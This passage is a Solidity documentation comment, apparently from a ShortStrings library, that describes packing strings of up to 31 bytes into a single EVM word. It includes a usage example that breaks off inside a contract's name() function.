/**
    * @dev This library provides functions to convert short memory strings
    * into a `ShortString` type that can be used as an immutable variable.
    *
    * Strings of arbitrary length can be optimized using this library if
    * they are short enough (up to 31 bytes) by packing them with their
    * length (1 byte) in a single EVM word (32 bytes). Additionally, a
    * fallback mechanism can be used for every other case.
    *
    * Usage example:
    *
    * ```solidity
    * contract Named {
    *     using ShortStrings for *;
    *
    *     ShortString private immutable _name;
    *     string private _nameFallback;
    *
    *     constructor(string memory contractName) {
    *         _name = contractName.toShortStringWithFallback(_nameFallback);
    *     }

    *     function name() external view returns (string memory) {
